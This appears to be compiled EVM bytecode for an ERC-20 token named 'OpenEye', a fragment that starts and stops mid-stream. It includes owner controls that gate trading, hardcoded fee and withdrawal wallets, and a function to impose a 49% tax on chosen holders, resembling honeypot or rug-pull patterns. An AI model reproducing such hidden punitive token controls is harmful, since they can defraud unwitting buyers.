ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107e691906125ce565b61123d565b6107f6848484611408565b600190509392505050565b60006009905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610898576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088f9061264e565b60405180910390fd5b6002600a541080156108b9575060026001600a546108b6919061266e565b10155b6108c6576108c56126c4565b5b600a60008154809291906108d9906126f3565b919050555080600960008282546108f0919061266e565b92505081905550505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca9061264e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b169061264e565b60405180910390fd5b662386f26fc10000600481905550662386f26fc10000600581905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4f45594500000000000000000000000000000000000000000000000000000000815250905090565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bfb57600080fd5b600654821115610c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c37906127ae565b60405180910390fd5b600754811115610c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7c906127ae565b60405180910390fd5b81600681905550806007819055505050565b6000610ca4338484611408565b6001905092915050565b60055481565b60045481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3f9061264e565b60405180910390fd5b6002600a54148015610d675750600860019054906101000a900460ff16155b610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d9061281a565b60405180910390fd5b4360096000828254610db8919061266e565b925050819055506001600860016101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e619061264e565b60405180910390fd5b60005b8383905081101561105b577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16848483818110610ec257610ec161283a565b5b9050602002016020810190610ed791906121ab565b73ffffffffffffffffffffffffffffffffffffffff1614158015610f625750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16848483818110610f3457610f3361283a565b5b9050602002016020810190610f4991906121ab565b73ffffffffffffffffffffffffffffffffffffffff1614155b8015610fc157503073ffffffffffffffffffffffffffffffffffffffff16848483818110610f9357610f9261283a565b5b9050602002016020810190610fa891906121ab565b73ffffffffffffffffffffffffffffffffffffffff1614155b610fca57600080fd5b8160036000868685818110610fe257610fe161283a565b5b9050602002016020810190610ff791906121ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611053906126f3565b915050610e6d565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e69061264e565b60405180910390fd5b6002600a6000815480929190611104906126f3565b919050551061111257600080fd5b806111205761111f6126c4565b5b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b65b5e620f4800081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461120c57600080fd5b60006064611219306108fc565b836112249190612869565b61122e91906128f2565b905061123981611af5565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a490612995565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561131d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131490612a27565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113fb9190612190565b60405180910390a3505050565b82600860019054906101000a900460ff168061146f57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b806114b9575073fb2cdfbb61df9bde8b89f3b28ecaf24f56030d1473ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b80611503575073b7550135066f1fa098dbd3bb6adee7804ab7010873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b61150c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561157c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157390612ab9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e390612b4b565b60405180910390fd5b6000821161162f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162690612bdd565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461167e91906125ce565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611701575073fb2cdfbb61df9bde8b89f3b28ecaf24f56030d1473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561174d575073b7550135066f1fa098dbd3bb6adee7804ab7010873ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611799575073b7550135066f1fa098dbd3bb6adee7804ab7010873ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117f157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a34577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156118915750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611934576004548211156118db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d290612c6f565b60405180910390fd5b600554826118e8856108fc565b6118f2919061266e565b1115611933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192a90612d01565b60405180910390fd5b5b600061193f306108fc565b905061194b8582611d41565b1561195a5761195981611af5565b5b60006119668685611dc5565b9050808461197491906125ce565b935080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119c5919061266e565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a299190612190565b60405180910390a350505b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a83919061266e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ae79190612190565b60405180910390a350505050565b6001600860006101000a81548160ff021916908315150217905550611b1981611ed7565b905080611b3a30737a250d5630b4cf539739df2c5dacb4c659f2488d611123565b1015611b6757611b6630737a250d5630b4cf539739df2c5dacb4c659f2488d662386f26fc1000061123d565b5b60004790506000600267ffffffffffffffff811115611b8957611b88612d21565b5b604051908082528060200260200182016040528015611bb75781602001602082028036833780820191505090505b5090503081600081518110611bcf57611bce61283a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110611c3e57611c3d61283a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611cce959493929190612e53565b600060405180830381600087803b158015611ce857600080fd5b505af1158015611cfc573d6000803e3d6000fd5b505050508147611d0c91906125ce565b91506000821115611d2157611d2082611f3c565b5b50506000600860006101000a81548160ff02191690831515021790555050565b6000600860009054906101000a900460ff16158015611dac57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611dbd5750651b48eb57e00082115b905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e2157506009544311155b15611e46576064603183611e359190612869565b611e3f91906128f2565b9050611ed1565b6064600060095414611eb6577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611ead57600754611eb1565b6006545b611eb9565b600f5b83611ec49190612869565b611ece91906128f2565b90505b92915050565b600065b5e620f480008211611ef257651b48eb57e000611f35565b436009546003611f02919061266e565b1015611f145765b5e620f48000611f34565b600465b5e620f480006005611f299190612869565b611f3391906128f2565b5b5b9050919050565b73b7550135066f1fa098dbd3bb6adee7804ab7010873ffffffffffffffffffffffffffffffffffffffff166108fc6003836002611f799190612869565b611f8391906128f2565b9081150290604051600060405180830381858888f19350505050158015611fae573d6000803e3d6000fd5b5050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fec578082015181840152602081019050611fd1565b83811115611ffb576000848401525b50505050565b6000601f19601f8301169050919050565b600061201d82611fb2565b6120278185611fbd565b9350612037818560208601611fce565b61204081612001565b840191505092915050565b600060208201905081810360008301526120658184612012565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120a282612077565b9050919050565b6120b281612097565b81146120bd57600080fd5b50565b6000813590506120cf816120a9565b92915050565b6000819050919050565b6120e8816120d5565b81146120f357600080fd5b50565b600081359050612105816120df565b92915050565b600080604083850312156121225761212161206d565b5b6000612130858286016120c0565b9250506020612141858286016120f6565b9150509250929050565b60008115159050919050565b6121608161214b565b82525050565b600060208201905061217b6000830184612157565b92915050565b61218a816120d5565b82525050565b60006020820190506121a56000830184612181565b92915050565b6000602082840312156121c1576121c061206d565b5b60006121cf848285016120c0565b91505092915050565b6000806000606084860312156121f1576121f061206d565b5b60006121ff868287016120c0565b9350506020612210868287016120c0565b9250506040612221868287016120f6565b9150509250925092565b600060ff82169050919050565b6122418161222b565b82525050565b600060208201905061225c6000830184612238565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261228757612286612262565b5b8235905067ffffffffffffffff8111156122a4576122a3612267565b5b6020830191508360208202830111156122c0576122bf61226c565b5b9250929050565b6000806000604084860312156122e0576122df61206d565b5b600084013567ffffffffffffffff8111156122fe576122fd612072565b5b61230a86828701612271565b9350935050602061231d868287016120f6565b9150509250925092565b61233081612097565b82525050565b600060208201905061234b6000830184612327565b92915050565b600080604083850312156123685761236761206d565b5b6000612376858286016120f6565b9250506020612387858286016120f6565b9150509250929050565b60008083601f8401126123a7576123a6612262565b5b8235905067ffffffffffffffff8111156123c4576123c3612267565b5b6020830191508360208202830111156123e0576123df61226c565b5b9250929050565b6123f08161214b565b81146123fb57600080fd5b50565b60008135905061240d816123e7565b92915050565b60008060006040848603121561242c5761242b61206d565b5b600084013567ffffffffffffffff81111561244a57612449612072565b5b61245686828701612391565b93509350506020612469868287016123fe565b9150509250925092565b6000602082840312156124895761248861206d565b5b6000612497848285016123fe565b91505092915050565b600080604083850312156124b7576124b661206d565b5b60006124c5858286016120c0565b92505060206124d6858286016120c0565b9150509250929050565b6000602082840312156124f6576124f561206d565b5b6000612504848285016120f6565b91505092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612569602883611fbd565b91506125748261250d565b604082019050919050565b600060208201905081810360008301526125988161255c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006125d9826120d5565b91506125e4836120d5565b9250828210156125f7576125f661259f565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612638602083611fbd565b915061264382612602565b602082019050919050565b600060208201905081810360008301526126678161262b565b9050919050565b6000612679826120d5565b9150612684836120d5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126b9576126b861259f565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b60006126fe826120d5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156127315761273061259f565b5b600182019050919050565b7f546f6b656e3a206f6e6c792066656520726564756374696f6e207065726d697460008201527f7465640000000000000000000000000000000000000000000000000000000000602082015250565b6000612798602383611fbd565b91506127a38261273c565b604082019050919050565b600060208201905081810360008301526127c78161278b565b9050919050565b7f546f6b656e3a2074726164696e6720616c7265616479206f70656e0000000000600082015250565b6000612804601b83611fbd565b915061280f826127ce565b602082019050919050565b60006020820190508181036000830152612833816127f7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612874826120d5565b915061287f836120d5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128b8576128b761259f565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006128fd826120d5565b9150612908836120d5565b925082612918576129176128c3565b5b828204905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061297f602483611fbd565b915061298a82612923565b604082019050919050565b600060208201905081810360008301526129ae81612972565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a11602283611fbd565b9150612a1c826129b5565b604082019050919050565b60006020820190508181036000830152612a4081612a04565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612aa3602583611fbd565b9150612aae82612a47565b604082019050919050565b60006020820190508181036000830152612ad281612a96565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612b35602383611fbd565b9150612b4082612ad9565b604082019050919050565b60006020820190508181036000830152612b6481612b28565b9050919050565b7f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f00000000000000000000000000000000602082015250565b6000612bc7603083611fbd565b9150612bd282612b6b565b604082019050919050565b60006020820190508181036000830152612bf681612bba565b9050919050565b7f546f6b656e3a206d6178207472616e73616374696f6e20616d6f756e7420726560008201527f737472696374696f6e0000000000000000000000000000000000000000000000602082015250565b6000612c59602983611fbd565b9150612c6482612bfd565b604082019050919050565b60006020820190508181036000830152612c8881612c4c565b9050919050565b7f546f6b656e3a206d61782077616c6c657420616d6f756e74207265737472696360008201527f74696f6e00000000000000000000000000000000000000000000000000000000602082015250565b6000612ceb602483611fbd565b9150612cf682612c8f565b604082019050919050565b60006020820190508181036000830152612d1a81612cde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000819050919050565b6000612d7f612d7a612d7584612d50565b612d5a565b6120d5565b9050919050565b612d8f81612d64565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612dca81612097565b82525050565b6000612ddc8383612dc1565b60208301905092915050565b6000602082019050919050565b6000612e0082612d95565b612e0a8185612da0565b9350612e1583612db1565b8060005b83811015612e46578151612e2d8882612dd0565b9750612e3883612de8565b925050600181019050612e19565b5085935050505092915050565b600060a082019050612e686000830188612181565b612e756020830187612d86565b8181036040830152612e878186612df5565b9050612e966060830185612327565b612ea36080830184612181565b969550505050505056fea2646970667358221220ccb4ee397d42cd2b1a7465b1a7b6b499895b7d35665836059d654bee369d043864736f6c634300080a0033
60e060405265b5e620f4800060045565b5e620f48000600555600a6006556028600755737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000082573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000a89190620004cd565b73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152503373ffffffffffffffffffffffffffffffffffffffff1660c09073ffffffffffffffffffffffffffffffffffffffff168152506000600860006101000a81548160ff0219169083151502179055503480156200013557600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060006103e8662386f26fc1000060e4620001f2919062000538565b620001fe9190620005c8565b9050806001600073fb2cdfbb61df9bde8b89f3b28ecaf24f56030d1473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080662386f26fc100006200026d919062000600565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000310573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003369190620004cd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396306080516040518363ffffffff1660e01b8152600401620003749291906200064c565b6020604051808303816000875af115801562000394573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ba9190620004cd565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef662386f26fc100006040516200045491906200068a565b60405180910390a350620006a7565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004958262000468565b9050919050565b620004a78162000488565b8114620004b357600080fd5b50565b600081519050620004c7816200049c565b92915050565b600060208284031215620004e657620004e562000463565b5b6000620004f684828501620004b6565b91505092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200054582620004ff565b91506200055283620004ff565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200058e576200058d62000509565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620005d582620004ff565b9150620005e283620004ff565b925082620005f557620005f462000599565b5b828204905092915050565b60006200060d82620004ff565b91506200061a83620004ff565b92508282101562000630576200062f62000509565b5b828203905092915050565b620006468162000488565b82525050565b60006040820190506200066360008301856200063b565b6200067260208301846200063b565b9392505050565b6200068481620004ff565b82525050565b6000602082019050620006a1600083018462000679565b92915050565b60805160a05160c051612ee362000708600039600081816105ae01528181610ba5015281816111b60152818161142101526117a2015260008181610e7a015281816117f801528181611d5d0152611e5401526000611c0b0152612ee36000f3fe6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf914610445578063d478a06c1461045c578063d53a822f14610485578063dd62ed3e146104ae578063e79476c9146104eb578063f8d982b2146105165761014b565b80638da5cb5b1461033357806395d89b411461035e578063a08fc5c714610389578063a9059cbb146103b2578063aa4bde28146103ef578063c8c8ebe41461041a5761014b565b806323b872dd1161010857806323b872dd14610237578063313ce567146102745780633b5468e71461029f57806370a08231146102c8578063715018a614610305578063751039fc1461031c5761014b565b806306fdde0314610150578063095ea7b31461017b57806316e5a479146101b857806318160ddd146101e35780631a6952301461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561053f565b604051610172919061204b565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d919061210b565b61057c565b6040516101af9190612166565b60405180910390f35b3480156101c457600080fd5b506101cd610593565b6040516101da9190612190565b60405180910390f35b3480156101ef57600080fd5b506101f861059d565b6040516102059190612190565b60405180910390f35b34801561021a57600080fd5b50610235600480360381019061023091906121ab565b6105ac565b005b34801561024357600080fd5b5061025e600480360381019061025991906121d8565b610698565b60405161026b9190612166565b60405180910390f35b34801561028057600080fd5b50610289610801565b6040516102969190612247565b60405180910390f35b3480156102ab57600080fd5b506102c660048036038101906102c191906122c7565b61080a565b005b3480156102d457600080fd5b506102ef60048036038101906102ea91906121ab565b6108fc565b6040516102fc9190612190565b60405180910390f35b34801561031157600080fd5b5061031a610945565b005b34801561032857600080fd5b50610331610a91565b005b34801561033f57600080fd5b50610348610b3d565b6040516103559190612336565b60405180910390f35b34801561036a57600080fd5b50610373610b66565b604051610380919061204b565b60405180910390f35b34801561039557600080fd5b506103b060048036038101906103ab9190612351565b610ba3565b005b3480156103be57600080fd5b506103d960048036038101906103d4919061210b565b610c97565b6040516103e69190612166565b60405180910390f35b3480156103fb57600080fd5b50610404610cae565b6040516104119190612190565b60405180910390f35b34801561042657600080fd5b5061042f610cb4565b60405161043c9190612190565b60405180910390f35b34801561045157600080fd5b5061045a610cba565b005b34801561046857600080fd5b50610483600480360381019061047e9190612413565b610ddc565b005b34801561049157600080fd5b506104ac60048036038101906104a79190612473565b611061565b005b3480156104ba57600080fd5b506104d560048036038101906104d091906124a0565b611123565b6040516104e29190612190565b60405180910390f35b3480156104f757600080fd5b506105006111aa565b60405161050d9190612190565b60405180910390f35b34801561052257600080fd5b5061053d600480360381019061053891906124e0565b6111b4565b005b60606040518060400160405280600781526020017f4f70656e45796500000000000000000000000000000000000000000000000000815250905090565b600061058933848461123d565b6001905092915050565b651b48eb57e00081565b6000662386f26fc10000905090565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806106455750736d92c21b258c707d0f74dfb239d83574329a231c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61064e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610694573d6000803e3d6000fd5b5050565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610759576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107509061257f565b60405180910390fd5b6107eb843384600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107e691906125ce565b61123d565b6107f6848484611408565b600190509392505050565b60006009905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610898576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088f9061264e565b60405180910390fd5b6002600a541080156108b9575060026001600a546108b6919061266e565b10155b6108c6576108c56126c4565b5b600a60008154809291906108d9906126f3565b919050555080600960008282546108f0919061266e565b92505081905550505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca9061264e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b169061264e565b60405180910390fd5b662386f26fc10000600481905550662386f26fc10000600581905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4f45594500000000000000000000000000000000000000000000000000000000815250905090565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bfb57600080fd5b600654821115610c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c37906127ae565b60405180910390fd5b600754811115610c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7c906127ae565b60405180910390fd5b81600681905550806007819055505050565b6000610ca4338484611408565b6001905092915050565b60055481565b60045481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3f9061264e565b60405180910390fd5b6002600a54148015610d675750600860019054906101000a900460ff16155b610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d9061281a565b60405180910390fd5b4360096000828254610db8919061266e565b925050819055506001600860016101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e619061264e565b60405180910390fd5b60005b8383905081101561105b577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16848483818110610ec257610ec161283a565b5b9050602002016020810190610ed791906121ab565b73ffffffffffffffffffffffffffffffffffffffff1614158015610f625750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16848483818110610f3457610f3361283a565b5b9050602002016020810190610f4991906121ab565b73ffffffffffffffffffffffffffffffffffffffff1614155b8015610fc157503073ffffffffffffffffffffffffffffffffffffffff16848483818110610f9357610f9261283a565b5b9050602002016020810190610fa891906121ab565b73ffffffffffffffffffffffffffffffffffffffff1614155b610fca57600080fd5b8160036000868685818110610fe257610fe161283a565b5b9050602002016020810190610ff791906121ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611053906126f3565b915050610e6d565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e69061264e565b60405180910390fd5b6002600a6000815480929190611104906126f3565b919050551061111257600080fd5b806111205761111f6126c4565b5b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b65b5e620f4800081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461120c57600080fd5b60006064611219306108fc565b836112249190612869565b6112